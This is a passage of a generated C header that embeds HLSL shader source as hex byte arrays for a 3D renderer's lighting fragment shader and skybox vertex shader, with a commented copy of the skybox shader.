0x6f,0x6e,0x65,0x6d,0x61,0x70,0x5f,0x72,0x65,0x69,0x6e,0x68,0x61,0x72,0x64,0x28,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x78,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,
0x65,0x20,0x38,0x39,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,
0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,
0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,0x78,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x20,0x3d,
0x20,0x78,0x20,0x2f,0x20,0x28,0x31,0x2e,0x30,0x66,0x20,0x2b,0x20,0x6c,0x75,0x6d,
0x69,0x6e,0x61,0x6e,0x63,0x65,0x28,0x70,0x61,0x72,0x61,0x6d,0x29,0x29,0x2e,0x78,
0x78,0x78,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x6c,
0x69,0x6e,0x65,0x61,0x72,0x5f,0x74,0x6f,0x5f,0x67,0x61,0x6d,0x6d,0x61,0x28,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x31,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,
0x65,0x20,0x32,0x31,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,
0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,
0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x76,0x6f,0x69,0x64,0x20,0x66,0x72,0x61,0x67,
0x5f,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x32,0x31,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x5f,0x32,0x38,0x38,0x20,0x3d,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,
0x28,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x29,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,
0x20,0x32,0x31,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,
0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,
0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x5f,0x33,0x30,0x30,0x20,0x3d,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,
0x65,0x28,0x5f,0x32,0x39,0x32,0x5f,0x75,0x56,0x69,0x65,0x77,0x50,0x6f,0x73,0x20,
0x2d,0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x29,0x3b,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x32,0x31,0x37,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x3d,0x20,0x5f,0x31,0x31,0x30,0x5f,
0x6d,0x61,0x74,0x5f,0x65,0x6d,0x69,0x73,0x73,0x69,0x6f,0x6e,0x3b,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x32,0x31,0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,
0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,
0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x34,0x20,0x5f,0x33,0x31,0x31,0x20,0x3d,0x20,0x75,0x49,0x6d,0x61,0x67,
0x65,0x30,0x2e,0x53,0x61,0x6d,0x70,0x6c,0x65,0x28,0x5f,0x75,0x49,0x6d,0x61,0x67,
0x65,0x30,0x5f,0x73,0x61,0x6d,0x70,0x6c,0x65,0x72,0x2c,0x20,0x76,0x54,0x65,0x78,
0x43,0x6f,0x6f,0x72,0x64,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x34,0x20,0x5f,0x33,0x31,0x34,0x20,0x3d,0x20,0x5f,0x33,0x31,0x31,0x20,0x2a,
0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,0x33,0x32,0x34,0x20,0x3d,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x33,0x28,0x5f,0x33,0x31,0x34,0x2e,0x78,0x79,0x7a,0x29,0x20,
0x2a,0x20,0x5f,0x31,0x31,0x30,0x5f,0x6d,0x61,0x74,0x5f,0x64,0x69,0x66,0x66,0x75,
0x73,0x65,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x32,0x33,0x20,0x22,0x73,
0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,
0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,
0x3d,0x20,0x5f,0x33,0x32,0x38,0x5f,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x6f,0x73,
0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x20,0x3d,0x20,0x5f,0x33,0x30,0x30,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x32,0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x33,0x20,0x3d,
0x20,0x30,0x2e,0x35,0x66,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x34,0x20,0x3d,0x20,0x31,0x2e,0x30,0x66,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x33,0x33,0x39,0x20,
0x3d,0x20,0x6f,0x72,0x65,0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,
0x66,0x75,0x73,0x65,0x28,0x70,0x61,0x72,0x61,0x6d,0x2c,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x31,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x32,0x2c,0x20,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x33,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x34,0x29,0x3b,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x32,0x34,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,
0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x5f,0x31,0x31,0x30,0x5f,0x6d,
0x61,0x74,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,0x20,0x2a,0x20,0x5f,0x33,0x32,
0x38,0x5f,0x6c,0x69,0x67,0x68,0x74,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,0x29,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,0x5f,0x33,0x33,0x39,0x20,0x3e,
0x20,0x30,0x2e,0x30,0x66,0x29,0x0a,0x20,0x20,0x20,0x20,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x35,0x20,0x3d,0x20,0x5f,0x33,0x32,0x38,0x5f,0x6c,0x69,0x67,0x68,0x74,
0x5f,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,
0x36,0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x32,0x32,0x37,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x37,0x20,0x3d,0x20,0x5f,0x33,
0x32,0x38,0x5f,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,
0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x38,0x20,0x3d,0x20,0x5f,0x33,0x30,0x30,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x39,0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,
0x3d,0x20,0x28,0x28,0x28,0x28,0x5f,0x31,0x31,0x30,0x5f,0x6d,0x61,0x74,0x5f,0x73,
0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x20,0x2a,0x20,0x5f,0x33,0x32,0x38,0x5f,0x6c,
0x69,0x67,0x68,0x74,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x29,0x20,0x2a,
0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,0x28,0x70,0x61,0x72,0x61,0x6d,
0x5f,0x37,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x38,0x2c,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x39,0x29,0x29,0x20,0x2b,0x20,0x28,0x28,0x5f,0x33,0x32,0x34,0x20,
0x2a,0x20,0x5f,0x33,0x32,0x38,0x5f,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x66,
0x66,0x75,0x73,0x65,0x29,0x20,0x2a,0x20,0x5f,0x33,0x33,0x39,0x29,0x29,0x20,0x2a,
0x20,0x28,0x31,0x2e,0x30,0x66,0x20,0x2d,0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x28,0x63,0x6c,0x61,0x6d,0x70,0x28,0x6c,0x61,0x6d,0x62,0x65,
0x72,0x74,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x70,0x61,0x72,0x61,0x6d,
0x5f,0x35,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x36,0x29,0x2c,0x20,0x30,0x2e,
0x30,0x66,0x2c,0x20,0x31,0x2e,0x30,0x66,0x29,0x29,0x29,0x29,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x7d,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x33,0x35,0x20,0x22,0x73,
0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,
0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,0x33,0x39,0x31,0x20,0x3d,
0x20,0x5f,0x33,0x38,0x37,0x5f,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x6f,0x73,
0x69,0x74,0x69,0x6f,0x6e,0x20,0x2d,0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,0x33,0x39,
0x39,0x20,0x3d,0x20,0x5f,0x33,0x39,0x31,0x20,0x2f,0x20,0x6c,0x65,0x6e,0x67,0x74,
0x68,0x28,0x5f,0x33,0x39,0x31,0x29,0x2e,0x78,0x78,0x78,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x30,
0x20,0x3d,0x20,0x5f,0x33,0x39,0x39,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x31,0x20,0x3d,0x20,0x5f,
0x33,0x30,0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x32,0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,
0x5f,0x31,0x33,0x20,0x3d,0x20,0x30,0x2e,0x35,0x66,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x34,0x20,0x3d,
0x20,0x31,0x2e,0x30,0x66,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x20,0x5f,0x34,0x30,0x39,0x20,0x3d,0x20,0x6f,0x72,0x65,0x6e,0x5f,0x6e,0x61,0x79,
0x61,0x72,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x70,0x61,0x72,0x61,0x6d,
0x5f,0x31,0x30,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x31,0x2c,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x31,0x32,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x33,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x34,0x29,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x5f,0x31,0x31,0x30,
0x5f,0x6d,0x61,0x74,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,0x20,0x2a,0x20,0x5f,
0x33,0x38,0x37,0x5f,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x61,0x6d,0x62,0x69,0x65,
0x6e,0x74,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,0x5f,0x34,0x30,
0x39,0x20,0x3e,0x20,0x30,0x2e,0x30,0x66,0x29,0x0a,0x20,0x20,0x20,0x20,0x7b,0x0a,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x31,0x35,0x20,0x3d,0x20,0x5f,0x33,0x39,0x31,0x20,0x2f,
0x20,0x5f,0x33,0x38,0x37,0x5f,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x72,0x61,0x64,
0x69,0x75,0x73,0x2e,0x78,0x78,0x78,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x36,0x20,
0x3d,0x20,0x5f,0x33,0x38,0x37,0x5f,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x66,0x61,
0x6c,0x6c,0x6f,0x66,0x66,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x20,0x5f,0x34,0x33,0x31,0x20,0x3d,0x20,0x61,0x74,0x74,0x65,
0x6e,0x75,0x61,0x74,0x69,0x6f,0x6e,0x5f,0x70,0x6f,0x69,0x6e,0x74,0x28,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x31,0x35,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x36,
0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,0x5f,
0x34,0x33,0x31,0x20,0x3e,0x20,0x30,0x2e,0x30,0x66,0x29,0x0a,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x34,0x36,0x20,
0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,
0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x34,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x31,0x37,0x20,0x3d,0x20,0x5f,0x33,0x39,0x39,0x3b,0x0a,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x38,0x20,0x3d,0x20,0x5f,0x33,
0x30,0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x39,0x20,
0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x28,0x28,
0x28,0x5f,0x31,0x31,0x30,0x5f,0x6d,0x61,0x74,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,
0x61,0x72,0x20,0x2a,0x20,0x5f,0x33,0x38,0x37,0x5f,0x6c,0x69,0x67,0x68,0x74,0x32,
0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x29,0x20,0x2a,0x20,0x63,0x61,0x6c,
0x63,0x5f,0x73,0x70,0x65,0x63,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x37,0x2c,
0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x38,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,
0x5f,0x31,0x39,0x29,0x29,0x20,0x2b,0x20,0x28,0x28,0x5f,0x33,0x32,0x34,0x20,0x2a,
0x20,0x5f,0x33,0x38,0x37,0x5f,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x64,0x69,0x66,
0x66,0x75,0x73,0x65,0x29,0x20,0x2a,0x20,0x5f,0x34,0x30,0x39,0x29,0x29,0x20,0x2a,
0x20,0x5f,0x34,0x33,0x31,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x7d,0x0a,0x20,0x20,0x20,0x20,0x7d,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x35,
0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,0x34,
0x36,0x32,0x20,0x3d,0x20,0x74,0x6f,0x6e,0x65,0x6d,0x61,0x70,0x5f,0x72,0x65,0x69,
0x6e,0x68,0x61,0x72,0x64,0x28,0x74,0x6f,0x74,0x61,0x6c,0x29,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x3d,0x20,0x5f,0x34,0x36,0x32,0x3b,0x0a,
0x20,0x20,0x20,0x20,0x66,0x72,0x61,0x67,0x5f,0x63,0x6f,0x6c,0x6f,0x72,0x20,0x3d,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x5f,0x34,0x36,0x32,0x2c,0x20,0x5f,0x33,
0x31,0x34,0x2e,0x77,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x53,0x50,0x49,0x52,0x56,0x5f,
0x43,0x72,0x6f,0x73,0x73,0x5f,0x4f,0x75,0x74,0x70,0x75,0x74,0x20,0x6d,0x61,0x69,
0x6e,0x28,0x53,0x50,0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x49,0x6e,
0x70,0x75,0x74,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x29,
0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,
0x70,0x6f,0x73,0x20,0x3d,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,
0x74,0x2e,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x3b,0x0a,
0x20,0x20,0x20,0x20,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x20,0x3d,0x20,0x73,0x74,
0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x2e,0x76,0x4e,0x6f,0x72,0x6d,0x61,
0x6c,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x20,
0x3d,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x2e,0x76,0x46,
0x72,0x61,0x67,0x50,0x6f,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x54,0x65,0x78,
0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,
0x70,0x75,0x74,0x2e,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x3d,0x20,
0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x2e,0x76,0x43,0x6f,0x6c,
0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x43,0x6f,0x6c,
0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x20,0x3d,0x20,0x73,0x74,0x61,0x67,0x65,
0x5f,0x69,0x6e,0x70,0x75,0x74,0x2e,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,
0x73,0x65,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x72,0x61,0x67,0x5f,0x6d,0x61,
0x69,0x6e,0x28,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x53,0x50,0x49,0x52,0x56,0x5f,
0x43,0x72,0x6f,0x73,0x73,0x5f,0x4f,0x75,0x74,0x70,0x75,0x74,0x20,0x73,0x74,0x61,
0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x73,
0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x2e,0x66,0x72,0x61,0x67,
0x5f,0x63,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x66,0x72,0x61,0x67,0x5f,0x63,0x6f,
0x6c,0x6f,0x72,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,
0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x3b,0x0a,0x7d,0x0a,
0x00,
};
/*
cbuffer vs_skybox_params : register(b0)
{
row_major float4x4 _22_uModelViewProjection : packoffset(c0);
};
static float4 gl_Position;
static float3 vTexCoord;
static float3 aPosition;
static float3 aNormal;
static float2 aTexCoord;
static float4 aColorMult;
static float4 aColorOffset;
struct SPIRV_Cross_Input
{
float3 aPosition : TEXCOORD0;
float3 aNormal : TEXCOORD1;
float2 aTexCoord : TEXCOORD2;
float4 aColorMult : TEXCOORD3;
float4 aColorOffset : TEXCOORD4;
};
struct SPIRV_Cross_Output
{
float3 vTexCoord : TEXCOORD0;
float4 gl_Position : SV_Position;
};
#line 19 "src/ek/scenex/3d/render3d.glsl"
void vert_main()
{
#line 19 "src/ek/scenex/3d/render3d.glsl"
vTexCoord = aPosition.xzy;
#line 20 "src/ek/scenex/3d/render3d.glsl"
gl_Position = mul(float4(aPosition, 1.0f), _22_uModelViewProjection).xyww;
}
SPIRV_Cross_Output main(SPIRV_Cross_Input stage_input)
{
aPosition = stage_input.aPosition;
aNormal = stage_input.aNormal;
aTexCoord = stage_input.aTexCoord;
aColorMult = stage_input.aColorMult;
aColorOffset = stage_input.aColorOffset;
vert_main();
SPIRV_Cross_Output stage_output;
stage_output.gl_Position = gl_Position;
stage_output.vTexCoord = vTexCoord;
return stage_output;
}
*/
static const char vs_skybox_source_hlsl5[1280] = {
0x63,0x62,0x75,0x66,0x66,0x65,0x72,0x20,0x76,0x73,0x5f,0x73,0x6b,0x79,0x62,0x6f,
0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x20,0x3a,0x20,0x72,0x65,0x67,0x69,0x73,
0x74,0x65,0x72,0x28,0x62,0x30,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x72,0x6f,
0x77,0x5f,0x6d,0x61,0x6a,0x6f,0x72,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,
0x20,0x5f,0x32,0x32,0x5f,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,
0x72,0x6f,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,
0x6f,0x66,0x66,0x73,0x65,0x74,0x28,0x63,0x30,0x29,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,
0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x67,
0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x73,0x74,0x61,0x74,
